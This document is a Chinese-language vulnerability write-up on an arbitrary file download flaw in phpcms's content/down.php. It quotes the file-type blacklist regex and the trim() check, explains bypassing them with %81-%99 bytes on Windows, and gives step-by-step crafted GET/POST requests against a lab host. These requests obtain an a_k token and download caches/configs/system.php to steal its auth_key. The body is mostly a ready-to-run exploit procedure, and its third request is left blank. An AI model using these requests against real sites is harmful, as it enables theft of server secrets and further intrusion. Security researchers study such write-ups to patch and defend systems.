漏洞文件:
phpcms\modules\content\down.php
1、在download函数中对文件的校验部分 首先
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error')); $fileurl = trim($f);
$f为文件变量 首先从头到尾判断$f参数中是否有php等服务端脚本文件,再看看是否带有”:\”外链文件,是否”..”目录跳转,满足其中一个条件就返回True。(不满足下载条件)
这里可以使用一些空白字符进行绕过
2、接着$f的值赋给了$fileurl参数,再做了一次内容判断。
$fileurl = trim($f); if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L('illegal_parameters'));
这里使用了trim函数对空白字符进行处理,也是可以绕过的,%81-%99间的字符是不会被trim去掉的且在windows中还能正常访问到相应的文件,如下图所示。
因此通过使用%81-%99间的字符来绕过补丁进行任意文件下载,需要构造好a_k的值,才能进行下载。
第一步:进行如下请求获得YDVIB_siteid的值。
请求:
[GET]http://192.168.5.160/index.php?m=wap&c=index&a=init&siteid=1
获得:
[cookie]21ebz8zRmJ8Y_m7OM_VlHrRvxdMisgtDGXxRQRCF
第二步:在[POST DATA] 中的userid_flash参数的值设置为,第一步请求得到的YDVIB_siteid参数的值,并进行如下请求。
请求:
[GET] http://192.168.5.160/index.php?m=attachment&c=attachments&a=swfupload_json&src=a%26i=1%26m=1%26catid=1%26f=./caches/configs/system.ph%253ep%2581%26modelid=1%26d=1&aid=1
[POST DATA] userid_flash=75d1XCnlbSh-1zi2xZ-gearAbSsmOcXypuSKXZst
获得:
[cookie] YDVIB_att_json:dfefgKrvvX3Dihf2dKENiuH78N1LocF9TtzPiiTrpHoOV4kuAaY56OISz7SsUbDxC-DglgikxBKdqM6DzIBILxWpxA5_B6lDJbHq8V20LWUJIHiBIhazs7lyseq8B033wtpS7bjiv-Mz4_RuAFW3lZ_mNz4mFD5ur7cmv_3OKYh5Bj8
第三步:将GET请求中的a_k参数的值设置为第二步请求获得的YDVIB_att_json参数的值,并进行如下请求。
请求:
最后点击”点击下载”的按钮进行如下请求,便可以下载/caches/configs/system.php文件,得到里面的’auth_key’